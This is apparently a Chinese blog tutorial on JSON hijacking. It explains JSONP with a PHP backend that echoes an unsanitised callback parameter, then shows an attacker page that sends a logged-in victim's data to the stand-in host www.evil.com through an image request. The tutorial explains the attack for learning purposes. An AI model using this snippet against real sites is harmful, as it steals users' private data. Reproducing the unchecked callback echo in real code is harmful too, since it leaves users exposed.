zoukankan      html  css  js  c++  java
  • JSON HiJacking攻击

    JSON劫持类似于CSRF攻击,为了了解这种攻击方式,我们先看一下Web开发中一种常用的跨域获取数据的方式:JSONP。

    先说一下JSON吧,JSON是一种数据格式,主要由字典(键值对)和列表两种存在形式,并且这两种形式也可以互相嵌套,非常多的应用于数据传输的过程中。由于JSON的可读性强,并且很适合JavaScript这样的语言处理,已经取代XML格式成为主流。

    JSONP(JSON with Padding)是一个非官方的协议,是Web前端的JavaScript跨域获取数据的一种方式。我们知道,JavaScript在读写数据时受到同源策略的限制,不可以读写其他域的数据,于是大家想出了这样一种办法:

    前端html代码:

    <meta content="text/html; charset=utf-8" http-equiv="Content-Type" /> 
    <script type="text/javascript"> 
        function jsonpCallback(result) { 
            alert(result.a); 
            alert(result.b);
            alert(result.c); 
            for(var i in result) { 
                alert(i+":"+result[i]);//循环输出a:1,b:2,etc. 
            } 
        } 
    </script> 
    <script type="text/javascript" src="http://crossdomain.com/services.php?callback=jsonpCallback"></script>
    

    后端的php代码:

    <?php 
    //服务端返回JSON数据 
    $arr=array(‘a‘=>1,‘b‘=>2,‘c‘=>3,‘d‘=>4,‘e‘=>5); 
    $result=json_encode($arr); 
    //echo $_GET[‘callback‘].‘("Hello,World!")‘; 
    //echo $_GET[‘callback‘]."($result)";
    //动态执行回调函数 
    $callback=$_GET[‘callback‘]; 
    echo $callback."($result)";
    ?>
    

    可以看到,前端先是定义了jsonpCallback函数来处理后端返回的JSON数据,然后利用script标签的src属性跨域获取数据(前面说到带src属性的html标签都可以跨域),并且把刚才定义的回调函数的名称传递给了后端,于是后端构造出“jsonpCallback({“a”:1, “b”:2, “c”:3, “d”:4, “e”:5})”的函数调用过程返回到前端执行,达到了跨域获取数据的目的。

    一句话描述JSONP:前端定义函数却在后端完成调用然后回到前端执行!

    明白了JSONP的调用过程之后,我们可以想象这样的场景:

    当用户通过身份认证之后,前端会通过JSONP的方式从服务端获取该用户的隐私数据,然后在前端进行一些处理,如个性化显示等等。这个JSONP的调用接口如果没有做相应的防护,就容易受到JSON HiJacking的攻击。

    就以上面讲JSONP的情景为例,攻击者可以构造以下html页面:

    <html>
    <meta content="text/html; charset=utf-8" http-equiv="Content-Type" /> 
    <script type="text/javascript"> 
        function hijack(result) { 
            var data = ‘‘;
            for(var i in result) {
                data += i + ‘:‘ + result[i];
            }
            new Image().src = "http://www.evil.com/JSONHiJacking.php?data=" + escape(data);//把数据发送到攻击者服务器上
        } 
    </script> 
    <script type="text/javascript" src="http://crossdomain.com/services.php?callback=hijack"></script>
    </html>
    

    可以看到,攻击者在页面中构造了自己的回调函数,把获取的数据都发送到了自己的服务器上。如果受害者在已经经过身份认证的情况下访问了攻击者构造的页面,其隐私将暴露无疑。

    我们用以下几张图来总结一下JSON HiJacking的攻击过程:

    技术分享图片

    技术分享图片

    技术分享图片

    技术分享图片

  • 相关阅读:
    仿msn风格的选项卡_网页代码站(www.webdm.cn)
    拍拍网头部导航菜单_网页代码站(www.webdm.cn)
    横向滑动特效的菜单(js+css)_网页代码站(www.webdm.cn)
    QuickMenu 超强悍菜单_网页代码站(www.webdm.cn)
    紫罗兰风格的导航条_网页代码站(www.webdm.cn)
    兼容性超强的六级网站导航主菜单_网页代码站(www.webdm.cn)
    用JavaScript实现横向滑出的多级竖向菜单_网页代码站(www.webdm.cn)
    一款溢出式侧边栏导航菜单_网页代码站(www.webdm.cn)
    css打造的又一款清新的横排下拉菜单_网页代码站(www.webdm.cn)
    [ZZ]byte[]到short、int、long的相互转换
  • 原文地址:https://www.cnblogs.com/mafeng/p/11532266.html
Copyright © 2011-2022 走看看